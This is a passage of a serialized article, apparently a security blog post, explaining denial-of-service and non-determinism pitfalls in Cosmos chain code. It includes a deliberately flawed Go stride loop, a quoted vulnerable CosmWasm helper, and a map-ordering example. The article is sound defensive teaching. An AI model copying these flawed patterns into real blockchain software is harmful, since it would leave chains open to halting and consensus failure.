msg",{"type":23,"tag":481,"props":73895,"children":73896},{"style":514},[73897],{"type":28,"value":7301},{"type":23,"tag":481,"props":73899,"children":73900},{"style":943},[73901],{"type":28,"value":73902},"MsgSumWithStrideParams",{"type":23,"tag":481,"props":73904,"children":73905},{"style":525},[73906],{"type":28,"value":1033},{"type":23,"tag":481,"props":73908,"children":73909},{"class":483,"line":1159},[73910,73915,73919,73924,73928,73932],{"type":23,"tag":481,"props":73911,"children":73912},{"style":525},[73913],{"type":28,"value":73914},") (",{"type":23,"tag":481,"props":73916,"children":73917},{"style":514},[73918],{"type":28,"value":2120},{"type":23,"tag":481,"props":73920,"children":73921},{"style":943},[73922],{"type":28,"value":73923},"MsgSumWithStrideResponse",{"type":23,"tag":481,"props":73925,"children":73926},{"style":525},[73927],{"type":28,"value":588},{"type":23,"tag":481,"props":73929,"children":73930},{"style":943},[73931],{"type":28,"value":12352},{"type":23,"tag":481,"props":73933,"children":73934},{"style":525},[73935],{"type":28,"value":12292},{"type":23,"tag":481,"props":73937,"children":73938},{"class":483,"line":1172},[73939,73944,73949,73954,73958,73962],{"type":23,"tag":481,"props":73940,"children":73941},{"style":508},[73942],{"type":28,"value":73943}," sum",{"type":23,"tag":481,"props":73945,"children":73946},{"style":514},[73947],{"type":28,"value":73948}," :=",{"type":23,"tag":481,"props":73950,"children":73951},{"style":943},[73952],{"type":28,"value":73953}," uint64",{"type":23,"tag":481,"props":73955,"children":73956},{"style":525},[73957],{"type":28,"value":618},{"type":23,"tag":481,"props":73959,"children":73960},{"style":551},[73961],{"type":28,"value":1568},{"type":23,"tag":481,"props":73963,"children":73964},{"style":525},[73965],{"type":28,"value":675},{"type":23,"tag":481,"props":73967,"children":73968},{"class":483,"line":1181},[73969,73974,73978,73982,73986,73990,73994,73998,74002,74007],{"type":23,"tag":481,"props":73970,"children":73971},{"style":508},[73972],{"type":28,"value":73973}," end",{"type":23,"tag":481,"props":73975,"children":73976},{"style":514},[73977],{"type":28,"value":73948},{"type":23,"tag":481,"props":73979,"children":73980},{"style":943},[73981],{"type":28,"value":73953},{"type":23,"tag":481,"props":73983,"children":73984},{"style":525},[73985],{"type":28,"value":618},{"type":23,"tag":481,"props":73987,"children":73988},{"style":610},[73989],{"type":28,"value":6621},{"type":23,"tag":481,"props":73991,"children":73992},{"style":525},[73993],{"type":28,"value":618},{"type":23,"tag":481,"props":73995,"children":73996},{"style":508},[73997],{"type":28,"value":55473},{"type":23,"tag":481,"props":73999,"children":74000},{"style":525},[74001],{"type":28,"value":199},{"type":23,"tag":481,"props":74003,"children":74004},{"style":508},[74005],{"type":28,"value":74006},"Arr",{"type":23,"tag":481,"props":74008,"children":74009},{"style":525},[74010],{"type":28,"value":17209},{"type":23,"tag":481,"props":74012,"children":74013},{"class":483,"line":1204},[74014,74018,74023,74027,74032,74036,74041,74045,74050,74054,74059,74063,74067,74071,74075,74079,74084],{"type":23,"tag":481,"props":74015,"children":74016},{"style":535},[74017],{"type":28,"value":538},{"type":23,"tag":481,"props":74019,"children":74020},{"style":508},[74021],{"type":28,"value":74022}," idx",{"type":23,"tag":481,"props":74024,"children":74025},{"style":514},[74026],{"type":28,"value":73948},{"type":23,"tag":481,"props":74028,"children":74029},{"style":508},[74030],{"type":28,"value":74031}," msg",{"type":23,"tag":481,"props":74033,"children":74034},{"style":525},[74035],{"type":28,"value":199},{"type":23,"tag":481,"props":74037,"children":74038},{"style":508},[74039],{"type":28,"value":74040},"Start",{"type":23,"tag":481,"props":74042,"children":74043},{"style":525},[74044],{"type":28,"value":14719},{"type":23,"tag":481,"props":74046,"children":74047},{"style":508},[74048],{"type":28,"value":74049},"idx",{"type":23,"tag":481,"props":74051,"children":74052},{"style":514},[74053],{"type":28,"value":6199},{"type":23,"tag":481,"props":74055,"children":74056},{"style":508},[74057],{"type":28,"value":74058}," end",{"type":23,"tag":481,"props":74060,"children":74061},{"style":525},[74062],{"type":28,"value":14719},{"type":23,"tag":481,"props":74064,"children":74065},{"style":508},[74066],{"type":28,"value":74049},{"type":23,"tag":481,"props":74068,"children":74069},{"style":514},[74070],{"type":28,"value":12553},{"type":23,"tag":481,"props":74072,"children":74073},{"style":508},[74074],{"type":28,"value":74031},{"type":23,"tag":481,"props":74076,"children":74077},{"style":525},[74078],{"type":28,"value":199},{"type":23,"tag":481,"props":74080,"children":74081},{"style":508},[74082],{"type":28,"value":74083},"Stride",{"type":23,"tag":481,"props":74085,"children":74086},{"style":525},[74087],{"type":28,"value":809},{"type":23,"tag":481,"props":74089,"children":74090},{"class":483,"line":1213},[74091,74096,74100,74104,74108,74112,74116,74120],{"type":23,"tag":481,"props":74092,"children":74093},{"style":508},[74094],{"type":28,"value":74095}," sum",{"type":23,"tag":481,"props":74097,"children":74098},{"style":514},[74099],{"type":28,"value":12553},{"type":23,"tag":481,"props":74101,"children":74102},{"style":508},[74103],{"type":28,"value":74031},{"type":23,"tag":481,"props":74105,"children":74106},{"style":525},[74107],{"type":28,"value":199},{"type":23,"tag":481,"props":74109,"children":74110},{"style":508},[74111],{"type":28,"value":74006},{"type":23,"tag":481,"props":74113,"children":74114},{"style":525},[74115],{"type":28,"value":1269},{"type":23,"tag":481,"props":74117,"children":74118},{"style":508},[74119],{"type":28,"value":74049},{"type":23,"tag":481,"props":74121,"children":74122},{"style":525},[74123],{"type":28,"value":9259},{"type":23,"tag":481,"props":74125,"children":74126},{"class":483,"line":1222},[74127],{"type":23,"tag":481,"props":74128,"children":74129},{"style":525},[74130],{"type":28,"value":879},{"type":23,"tag":481,"props":74132,"children":74133},{"class":483,"line":1291},[74134,74138,74142,74146,74151,74156,74160,74165,74170],{"type":23,"tag":481,"props":74135,"children":74136},{"style":535},[74137],{"type":28,"value":14481},{"type":23,"tag":481,"props":74139,"children":74140},{"style":514},[74141],{"type":28,"value":4619},{"type":23,"tag":481,"props":74143,"children":74144},{"style":943},[74145],{"type":28,"value":73923},{"type":23,"tag":481,"props":74147,"children":74148},{"style":525},[74149],{"type":28,"value":74150},"{",{"type":23,"tag":481,"props":74152,"children":74153},{"style":508},[74154],{"type":28,"value":74155},"Sum",{"type":23,"tag":481,"props":74157,"children":74158},{"style":525},[74159],{"type":28,"value":12820},{"type":23,"tag":481,"props":74161,"children":74162},{"style":508},[74163],{"type":28,"value":74164},"sum",{"type":23,"tag":481,"props":74166,"children":74167},{"style":525},[74168],{"type":28,"value":74169},"}, ",{"type":23,"tag":481,"props":74171,"children":74172},{"style":497},[74173],{"type":28,"value":74174},"nil\n",{"type":23,"tag":481,"props":74176,"children":74177},{"class":483,"line":1299},[74178],{"type":23,"tag":481,"props":74179,"children":74180},{"style":525},[74181],{"type":28,"value":1443},{"type":23,"tag":24,"props":74183,"children":74184},{},[74185,74187,74192,74193,74199],{"type":28,"value":74186},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":23,"tag":64,"props":74188,"children":74190},{"className":74189},[],[74191],{"type":28,"value":74049},{"type":28,"value":4792},{"type":23,"tag":64,"props":74194,"children":74196},{"className":74195},[],[74197],{"type":28,"value":74198},"stride",{"type":28,"value":74200},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":23,"tag":24,"props":74202,"children":74203},{},[74204],{"type":28,"value":74205},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":23,"tag":24,"props":74207,"children":74208},{},[74209],{"type":28,"value":74210},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":23,"tag":24,"props":74212,"children":74213},{},[74214],{"type":28,"value":74215},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":23,"tag":7092,"props":74217,"children":74219},{"id":74218},"real-world-examples",[74220],{"type":28,"value":74221},"Real-World Examples",{"type":23,"tag":24,"props":74223,"children":74224},{},[74225],{"type":28,"value":74226},"Now, let's examine a few real-world instances.",{"type":23,"tag":24,"props":74228,"children":74229},{},[74230,74232,74238,74239,74245,74247,74253,74255,74261],{"type":28,"value":74231},"In the case of ",{"type":23,"tag":190,"props":74233,"children":74236},{"href":74234,"rel":74235},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[194],[74237],{"type":28,"value":15186},{"type":28,"value":3935},{"type":23,"tag":64,"props":74240,"children":74242},{"className":74241},[],[74243],{"type":28,"value":74244},"CosmWasm",{"type":28,"value":74246}," bug, the helper method ",{"type":23,"tag":64,"props":74248,"children":74250},{"className":74249},[],[74251],{"type":28,"value":74252},"write_to_contract",{"type":28,"value":74254}," negligently calls the untrusted Wasm function ",{"type":23,"tag":64,"props":74256,"children":74258},{"className":74257},[],[74259],{"type":28,"value":74260},"\"allocate\"",{"type":28,"value":199},{"type":23,"tag":24,"props":74263,"children":74264},{},[74265],{"type":23,"tag":190,"props":74266,"children":74269},{"href":74267,"rel":74268},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[194],[74270],{"type":28,"value":74271},"Permalink for snippet",{"type":23,"tag":435,"props":74273,"children":74275},{"code":74274,"language":474,"meta":7,"className":475,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n env: &Environment\u003CA, S, Q>,\n input: &[u8],\n) -> VmResult\u003Cu32> {\n let out_size = to_u32(input.len())?;\n let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n let target_ptr = ref_to_u32(&result)?;\n if target_ptr == 0 {\n return Err(CommunicationError::zero_address().into());\n }\n write_region(&env.memory(), target_ptr, input)?;\n Ok(target_ptr)\n}\n",[74276],{"type":23,"tag":64,"props":74277,"children":74278},{"__ignoreMap":7},[74279,74348,74396,74424,74453,74502,74576,74621,74644,74689,74696,74753,74772],{"type":23,"tag":481,"props":74280,"children":74281},{"class":483,"line":484},[74282,74286,74291,74295,74300,74304,74309,74313,74317,74321,74326,74330,74335,74339,74344],{"type":23,"tag":481,"props":74283,"children":74284},{"style":497},[74285],{"type":28,"value":17764},{"type":23,"tag":481,"props":74287,"children":74288},{"style":610},[74289],{"type":28,"value":74290}," write_to_contract",{"type":23,"tag":481,"props":74292,"children":74293},{"style":525},[74294],{"type":28,"value":3282},{"type":23,"tag":481,"props":74296,"children":74297},{"style":943},[74298],{"type":28,"value":74299},"A",{"type":23,"tag":481,"props":74301,"children":74302},{"style":514},[74303],{"type":28,"value":287},{"type":23,"tag":481,"props":74305,"children":74306},{"style":943},[74307],{"type":28,"value":74308}," BackendApi",{"type":23,"tag":481,"props":74310,"children":74311},{"style":525},[74312],{"type":28,"value":588},{"type":23,"tag":481,"props":74314,"children":74315},{"style":943},[74316],{"type":28,"value":19548},{"type":23,"tag":481,"props":74318,"children":74319},{"style":514},[74320],{"type":28,"value":287},{"type":23,"tag":481,"props":74322,"children":74323},{"style":943},[74324],{"type":28,"value":74325}," Storage",{"type":23,"tag":481,"props":74327,"children":74328},{"style":525},[74329],{"type":28,"value":588},{"type":23,"tag":481,"props":74331,"children":74332},{"style":943},[74333],{"type":28,"value":74334},"Q",{"type":23,"tag":481,"props":74336,"children":74337},{"style":514},[74338],{"type":28,"value":287},{"type":23,"tag":481,"props":74340,"children":74341},{"style":943},[74342],{"type":28,"value":74343}," Querier",{"type":23,"tag":481,"props":74345,"children":74346},{"style":525},[74347],{"type":28,"value":4066},{"type":23,"tag":481,"props":74349,"children":74350},{"class":483,"line":351},[74351,74355,74359,74363,74368,74372,74376,74380,74384,74388,74392],{"type":23,"tag":481,"props":74352,"children":74353},{"style":508},[74354],{"type":28,"value":1383},{"type":23,"tag":481,"props":74356,"children":74357},{"style":514},[74358],{"type":28,"value":287},{"type":23,"tag":481,"props":74360,"children":74361},{"style":514},[74362],{"type":28,"value":4619},{"type":23,"tag":481,"props":74364,"children":74365},{"style":943},[74366],{"type":28,"value":74367},"Environment",{"type":23,"tag":481,"props":74369,"children":74370},{"style":525},[74371],{"type":28,"value":3282},{"type":23,"tag":481,"props":74373,"children":74374},{"style":943},[74375],{"type":28,"value":74299},{"type":23,"tag":481,"props":74377,"children":74378},{"style":525},[74379],{"type":28,"value":588},{"type":23,"tag":481,"props":74381,"children":74382},{"style":943},[74383],{"type":28,"value":19548},{"type":23,"tag":481,"props":74385,"children":74386},{"style":525},[74387],{"type":28,"value":588},{"type":23,"tag":481,"props":74389,"children":74390},{"style":943},[74391],{"type":28,"value":74334},{"type":23,"tag":481,"props":74393,"children":74394},{"style":525},[74395],{"type":28,"value":3615},{"type":23,"tag":481,"props":74397,"children":74398},{"class":483,"line":531},[74399,74404,74408,74412,74416,74420],{"type":23,"tag":481,"props":74400,"children":74401},{"style":508},[74402],{"type":28,"value":74403}," input",{"type":23,"tag":481,"props":74405,"children":74406},{"style":514},[74407],{"type":28,"value":287},{"type":23,"tag":481,"props":74409,"children":74410},{"style":514},[74411],{"type":28,"value":4619},{"type":23,"tag":481,"props":74413,"children":74414},{"style":525},[74415],{"type":28,"value":1269},{"type":23,"tag":481,"props":74417,"children":74418},{"style":943},[74419],{"type":28,"value":946},{"type":23,"tag":481,"props":74421,"children":74422},{"style":525},[74423],{"type":28,"value":11751},{"type":23,"tag":481,"props":74425,"children":74426},{"class":483,"line":567},[74427,74431,74435,74440,74444,74449],{"type":23,"tag":481,"props":74428,"children":74429},{"style":525},[74430],{"type":28,"value":598},{"type":23,"tag":481,"props":74432,"children":74433},{"style":514},[74434],{"type":28,"value":11245},{"type":23,"tag":481,"props":74436,"children":74437},{"style":943},[74438],{"type":28,"value":74439}," VmResult",{"type":23,"tag":481,"props":74441,"children":74442},{"style":525},[74443],{"type":28,"value":3282},{"type":23,"tag":481,"props":74445,"children":74446},{"style":943},[74447],{"type":28,"value":74448},"u32",{"type":23,"tag":481,"props":74450,"children":74451},{"style":525},[74452],{"type":28,"value":4759},{"type":23,"tag":481,"props":74454,"children":74455},{"class":483,"line":678},[74456,74460,74465,74469,74474,74478,74482,74486,74490,74494,74498],{"type":23,"tag":481,"props":74457,"children":74458},{"style":497},[74459],{"type":28,"value":500},{"type":23,"tag":481,"props":74461,"children":74462},{"style":508},[74463],{"type":28,"value":74464}," out_size",{"type":23,"tag":481,"props":74466,"children":74467},{"style":514},[74468],{"type":28,"value":517},{"type":23,"tag":481,"props":74470,"children":74471},{"style":610},[74472],{"type":28,"value":74473}," to_u32",{"type":23,"tag":481,"props":74475,"children":74476},{"style":525},[74477],{"type":28,"value":618},{"type":23,"tag":481,"props":74479,"children":74480},{"style":508},[74481],{"type":28,"value":5846},{"type":23,"tag":481,"props":74483,"children":74484},{"style":514},[74485],{"type":28,"value":199},{"type":23,"tag":481,"props":74487,"children":74488},{"style":610},[74489],{"type":28,"value":6621},{"type":23,"tag":481,"props":74491,"children":74492},{"style":525},[74493],{"type":28,"value":39484},{"type":23,"tag":481,"props":74495,"children":74496},{"style":514},[74497],{"type":28,"value":670},{"type":23,"tag":481,"props":74499,"children":74500},{"style":525},[74501],{"type":28,"value":528},{"type":23,"tag":481,"props":74503,"children":74504},{"class":483,"line":784},[74505,74509,74513,74517,74521,74525,74530,74534,74538,74542,74546,74550,74555,74559,74563,74568,74572],{"type":23,"tag":481,"props":74506,"children":74507},{"style":497},[74508],{"type":28,"value":500},{"type":23,"tag":481,"props":74510,"children":74511},{"style":508},[74512],{"type":28,"value":6642},{"type":23,"tag":481,"props":74514,"children":74515},{"style":514},[74516],{"type":28,"value":517},{"type":23,"tag":481,"props":74518,"children":74519},{"style":508},[74520],{"type":28,"value":40478},{"type":23,"tag":481,"props":74522,"children":74523},{"style":514},[74524],{"type":28,"value":199},{"type":23,"tag":481,"props":74526,"children":74527},{"style":610},[74528],{"type":28,"value":74529},"call_function1",{"type":23,"tag":481,"props":74531,"children":74532},{"style":525},[74533],{"type":28,"value":618},{"type":23,"tag":481,"props":74535,"children":74536},{"style":1805},[74537],{"type":28,"value":74260},{"type":23,"tag":481,"props":74539,"children":74540},{"style":525},[74541],{"type":28,"value":588},{"type":23,"tag":481,"props":74543,"children":74544},{"style":514},[74545],{"type":28,"value":623},{"type":23,"tag":481,"props":74547,"children":74548},{"style":525},[74549],{"type":28,"value":1269},{"type":23,"tag":481,"props":74551,"children":74552},{"style":508},[74553],{"type":28,"value":74554},"out_size",{"type":23,"tag":481,"props":74556,"children":74557},{"style":514},[74558],{"type":28,"value":199},{"type":23,"tag":481,"props":74560,"children":74561},{"style":610},[74562],{"type":28,"value":12374},{"type":23,"tag":481,"props":74564,"children":74565},{"style":525},[74566],{"type":28,"value":74567},"()])",{"type":23,"tag":481,"props":74569,"children":74570},{"style":514},[74571],{"type":28,"value":670},{"type":23,"tag":481,"props":74573,"children":74574},{"style":525},[74575],{"type":28,"value":528},{"type":23,"tag":481,"props":74577,"children":74578},{"class":483,"line":812},[74579,74583,74588,74592,74597,74601,74605,74609,74613,74617],{"type":23,"tag":481,"props":74580,"children":74581},{"style":497},[74582],{"type":28,"value":500},{"type":23,"tag":481,"props":74584,"children":74585},{"style":508},[74586],{"type":28,"value":74587}," target_ptr",{"type":23,"tag":481,"props":74589,"children":74590},{"style":514},[74591],{"type":28,"value":517},{"type":23,"tag":481,"props":74593,"children":74594},{"style":610},[74595],{"type":28,"value":74596}," ref_to_u32",{"type":23,"tag":481,"props":74598,"children":74599},{"style":525},[74600],{"type":28,"value":618},{"type":23,"tag":481,"props":74602,"children":74603},{"style":514},[74604],{"type":28,"value":623},{"type":23,"tag":481,"props":74606,"children":74607},{"style":508},[74608],{"type":28,"value":6564},{"type":23,"tag":481,"props":74610,"children":74611},{"style":525},[74612],{"type":28,"value":642},{"type":23,"tag":481,"props":74614,"children":74615},{"style":514},[74616],{"type":28,"value":670},{"type":23,"tag":481,"props":74618,"children":74619},{"style":525},[74620],{"type":28,"value":528},{"type":23,"tag":481,"props":74622,"children":74623},{"class":483,"line":825},[74624,74628,74632,74636,74640],{"type":23,"tag":481,"props":74625,"children":74626},{"style":535},[74627],{"type":28,"value":9766},{"type":23,"tag":481,"props":74629,"children":74630},{"style":508},[74631],{"type":28,"value":74587},{"type":23,"tag":481,"props":74633,"children":74634},{"style":514},[74635],{"type":28,"value":800},{"type":23,"tag":481,"props":74637,"children":74638},{"style":551},[74639],{"type":28,"value":554},{"type":23,"tag":481,"props":74641,"children":74642},{"style":525},[74643],{"type":28,"value":809},{"type":23,"tag":481,"props":74645,"children":74646},{"class":483,"line":843},[74647,74651,74655,74659,74664,74668,74673,74677,74681,74685],{"type":23,"tag":481,"props":74648,"children":74649},{"style":535},[74650],{"type":28,"value":13234},{"type":23,"tag":481,"props":74652,"children":74653},{"style":943},[74654],{"type":28,"value":13239},{"type":23,"tag":481,"props":74656,"children":74657},{"style":525},[74658],{"type":28,"value":618},{"type":23,"tag":481,"props":74660,"children":74661},{"style":943},[74662],{"type":28,"value":74663},"CommunicationError",{"type":23,"tag":481,"props":74665,"children":74666},{"style":514},[74667],{"type":28,"value":1006},{"type":23,"tag":481,"props":74669,"children":74670},{"style":610},[74671],{"type":28,"value":74672},"zero_address",{"type":23,"tag":481,"props":74674,"children":74675},{"style":525},[74676],{"type":28,"value":11367},{"type":23,"tag":481,"props":74678,"children":74679},{"style":514},[74680],{"type":28,"value":199},{"type":23,"tag":481,"props":74682,"children":74683},{"style":610},[74684],{"type":28,"value":12374},{"type":23,"tag":481,"props":74686,"children":74687},{"style":525},[74688],{"type":28,"value":12914},{"type":23,"tag":481,"props":74690,"children":74691},{"class":483,"line":864},[74692],{"type":23,"tag":481,"props":74693,"children":74694},{"style":525},[74695],{"type":28,"value":879},{"type":23,"tag":481,"props":74697,"children":74698},{"class":483,"line":873},[74699,74704,74708,74712,74716,74720,74724,74728,74733,74737,74741,74745,74749],{"type":23,"tag":481,"props":74700,"children":74701},{"style":610},[74702],{"type":28,"value":74703}," write_region",{"type":23,"tag":481,"props":74705,"children":74706},{"style":525},[74707],{"type":28,"value":618},{"type":23,"tag":481,"props":74709,"children":74710},{"style":514},[74711],{"type":28,"value":623},{"type":23,"tag":481,"props":74713,"children":74714},{"style":508},[74715],{"type":28,"value":33208},{"type":23,"tag":481,"props":74717,"children":74718},{"style":514},[74719],{"type":28,"value":199},{"type":23,"tag":481,"props":74721,"children":74722},{"style":610},[74723],{"type":28,"value":73504},{"type":23,"tag":481,"props":74725,"children":74726},{"style":525},[74727],{"type":28,"value":15869},{"type":23,"tag":481,"props":74729,"children":74730},{"style":508},[74731],{"type":28,"value":74732},"target_ptr",{"type":23,"tag":481,"props":74734,"children":74735},{"style":525},[74736],{"type":28,"value":588},{"type":23,"tag":481,"props":74738,"children":74739},{"style":508},[74740],{"type":28,"value":5846},{"type":23,"tag":481,"props":74742,"children":74743},{"style":525},[74744],{"type":28,"value":642},{"type":23,"tag":481,"props":74746,"children":74747},{"style":514},[74748],{"type":28,"value":670},{"type":23,"tag":481,"props":74750,"children":74751},{"style":525},[74752],{"type":28,"value":528},{"type":23,"tag":481,"props":74754,"children":74755},{"class":483,"line":1125},[74756,74760,74764,74768],{"type":23,"tag":481,"props":74757,"children":74758},{"style":943},[74759],{"type":28,"value":11821},{"type":23,"tag":481,"props":74761,"children":74762},{"style":525},[74763],{"type":28,"value":618},{"type":23,"tag":481,"props":74765,"children":74766},{"style":508},[74767],{"type":28,"value":74732},{"type":23,"tag":481,"props":74769,"children":74770},{"style":525},[74771],{"type":28,"value":675},{"type":23,"tag":481,"props":74773,"children":74774},{"class":483,"line":1142},[74775],{"type":23,"tag":481,"props":74776,"children":74777},{"style":525},[74778],{"type":28,"value":1443},{"type":23,"tag":24,"props":74780,"children":74781},{},[74782,74784,74790,74792,74797],{"type":28,"value":74783},"As users have complete control over ",{"type":23,"tag":64,"props":74785,"children":74787},{"className":74786},[],[74788],{"type":28,"value":74789},"allocate",{"type":28,"value":74791},", there is a possibility to call back ",{"type":23,"tag":64,"props":74793,"children":74795},{"className":74794},[],[74796],{"type":28,"value":74252},{"type":28,"value":74798}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":23,"tag":24,"props":74800,"children":74801},{},[74802,74804,74811],{"type":28,"value":74803},"Additional real-world examples include ",{"type":23,"tag":190,"props":74805,"children":74808},{"href":74806,"rel":74807},"https://github.com/cosmos/cosmos-sdk/issues/16676",[194],[74809],{"type":28,"value":74810},"not returning proper values for malformed txs",{"type":28,"value":199},{"type":23,"tag":31,"props":74813,"children":74815},{"id":74814},"order-was-the-dream-of-man",[74816],{"type":28,"value":74817},"Order Was the Dream of Man",{"type":23,"tag":24,"props":74819,"children":74820},{},[74821],{"type":28,"value":74822},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":23,"tag":24,"props":74824,"children":74825},{},[74826],{"type":28,"value":74827},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":23,"tag":435,"props":74829,"children":74831},{"code":74830,"language":73696,"meta":7,"className":73697,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n for key, value := range objectMap {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, value),\n )\n )\n }\n}\n",[74832],{"type":23,"tag":64,"props":74833,"children":74834},{"__ignoreMap":7},[74835,74868,74875,74904,74941,74970,74991,75003,75040,75048,75055,75062],{"type":23,"tag":481,"props":74836,"children":74837},{"class":483,"line":484},[74838,74842,74847,74851,74855,74859,74863],{"type":23,"tag":481,"props":74839,"children":74840},{"style":497},[74841],{"type":28,"value":30272},{"type":23,"tag":481,"props":74843,"children":74844},{"style":943},[74845],{"type":28,"value":74846}," ObjectMap",{"type":23,"tag":481,"props":74848,"children":74849},{"style":497},[74850],{"type":28,"value":47194},{"type":23,"tag":481,"props":74852,"children":74853},{"style":525},[74854],{"type":28,"value":1269},{"type":23,"tag":481,"props":74856,"children":74857},{"style":943},[74858],{"type":28,"value":27180},{"type":23,"tag":481,"props":74860,"children":74861},{"style":525},[74862],{"type":28,"value":12900},{"type":23,"tag":481,"props":74864,"children":74865},{"style":943},[74866],{"type":28,"value":74867},"string\n",{"type":23,"tag":481,"props":74869,"children":74870},{"class":483,"line":351},[74871],{"type":23,"tag":481,"props":74872,"children":74873},{"emptyLinePlaceholder":15},[74874],{"type":28,"value":1210},{"type":23,"tag":481,"props":74876,"children":74877},{"class":483,"line":531},[74878,74882,74887,74891,74896,74900],{"type":23,"tag":481,"props":74879,"children":74880},{"style":497},[74881],{"type":28,"value":73832},{"type":23,"tag":481,"props":74883,"children":74884},{"style":610},[74885],{"type":28,"value":74886}," EmitEntries",{"type":23,"tag":481,"props":74888,"children":74889},{"style":525},[74890],{"type":28,"value":618},{"type":23,"tag":481,"props":74892,"children":74893},{"style":508},[74894],{"type":28,"value":74895},"objectMap",{"type":23,"tag":481,"props":74897,"children":74898},{"style":943},[74899],{"type":28,"value":74846},{"type":23,"tag":481,"props":74901,"children":74902},{"style":525},[74903],{"type":28,"value":12292},{"type":23,"tag":481,"props":74905,"children":74906},{"class":483,"line":567},[74907,74911,74915,74919,74923,74927,74932,74937],{"type":23,"tag":481,"props":74908,"children":74909},{"style":535},[74910],{"type":28,"value":538},{"type":23,"tag":481,"props":74912,"children":74913},{"style":508},[74914],{"type":28,"value":3408},{"type":23,"tag":481,"props":74916,"children":74917},{"style":525},[74918],{"type":28,"value":588},{"type":23,"tag":481,"props":74920,"children":74921},{"style":508},[74922],{"type":28,"value":36670},{"type":23,"tag":481,"props":74924,"children":74925},{"style":514},[74926],{"type":28,"value":73948},{"type":23,"tag":481,"props":74928,"children":74929},{"style":535},[74930],{"type":28,"value":74931}," range",{"type":23,"tag":481,"props":74933,"children":74934},{"style":508},[74935],{"type":28,"value":74936}," objectMap",{"type":23,"tag":481,"props":74938,"children":74939},{"style":525},[74940],{"type":28,"value":809},{"type":23,"tag":481,"props":74942,"children":74943},{"class":483,"line":678},[74944,74948,74952,74957,74961,74966],{"type":23,"tag":481,"props":74945,"children":74946},{"style":508},[74947],{"type":28,"value":23697},{"type":23,"tag":481,"props":74949,"children":74950},{"style":525},[74951],{"type":28,"value":199},{"type":23,"tag":481,"props":74953,"children":74954},{"style":508},[74955],{"type":28,"value":74956},"EventManager",{"type":23,"tag":481,"props":74958,"children":74959},{"style":525},[74960],{"type":28,"value":199},{"type":23,"tag":481,"props":74962,"children":74963},{"style":610},[74964],{"type":28,"value":74965},"EmitEvent",{"type":23,"tag":481,"props":74967,"children":74968},{"style":525},[74969],{"type":28,"value":988},{"type":23,"tag":481,"props":74971,"children":74972},{"class":483,"line":784},[74973,74978,74982,74987],{"type":23,"tag":481,"props":74974,"children":74975},{"style":508},[74976],{"type":28,"value":74977}," sdk",{"type":23,"tag":481,"props":74979,"children":74980},{"style":525},[74981],{"type":28,"value":199},{"type":23,"tag":481,"props":74983,"children":74984},{"style":610},[74985],{"type":28,"value":74986},"NewEvent",{"type":23,"tag":481,"props":74988,"children":74989},{"style":525},[74990],{"type":28,"value":988},{"type":23,"tag":481,"props":74992,"children":74993},{"class":483,"line":812},[74994,74999],{"type":23,"tag":481,"props":74995,"children":74996},{"style":1805},[74997],{"type":28,"value":74998}," \"MapContext\"",{"type":23,"tag":481,"props":75000,"children":75001},{"style":525},[75002],{"type":28,"value":1033},{"type":23,"tag":481,"props":75004,"children":75005},{"class":483,"line":825},[75006,75011,75015,75020,75024,75028,75032,75036],{"type":23,"tag":481,"props":75007,"children":75008},{"style":508},[75009],{"type":28,"value":75010}," sdk",{"type":23,"tag":481,"props":75012,"children":75013},{"style":525},[75014],{"type":28,"value":199},{"type":23,"tag":481,"props":75016,"children":75017},{"style":610},[75018],{"type":28,"value":75019},"NewAttribute",{"type":23,"tag":481,"props":75021,"children":75022},{"style":525},[75023],{"type":28,"value":618},{"type":23,"tag":481,"props":75025,"children":75026},{"style":508},[75027],{"type":28,"value":69686},{"type":23,"tag":481,"props":75029,"children":75030},{"style":525},[75031],{"type":28,"value":588},{"type":23,"tag":481,"props":75033,"children":75034},{"style":508},[75035],{"type":28,"value":36670},{"type":23,"tag":481,"props":75037,"children":75038},{"style":525},[75039],{"type":28,"value":4214},{"type":23,"tag":481,"props":75041,"children":75042},{"class":483,"line":843},[75043],{"type":23,"tag":481,"props":75044,"children":75045},{"style":525},[75046],{"type":28,"value":75047}," )\n",{"type":23,"tag":481,"props":75049,"children":75050},{"class":483,"line":864},[75051],{"type":23,"tag":481,"props":75052,"children":75053},{"style":525},[75054],{"type":28,"value":65850},{"type":23,"tag":481,"props":75056,"children":75057},{"class":483,"line":873},[75058],{"type":23,"tag":481,"props":75059,"children":75060},{"style":525},[75061],{"type":28,"value":879},{"type":23,"tag":481,"props":75063,"children":75064},{"class":483,"line":1125},[75065],{"type":23,"tag":481,"props":75066,"children":75067},{"style":525},[75068],{"type":28,"value":1443},{"type":23,"tag":24,"props":75070,"children":75071},{},[75072],{"type":28,"value":75073},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":23,"tag":426,"props":75075,"children":75076},{},[75077],{"type":23,"tag":24,"props":75078,"children":75079},{},[75080],{"type":28,"value":75081},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the 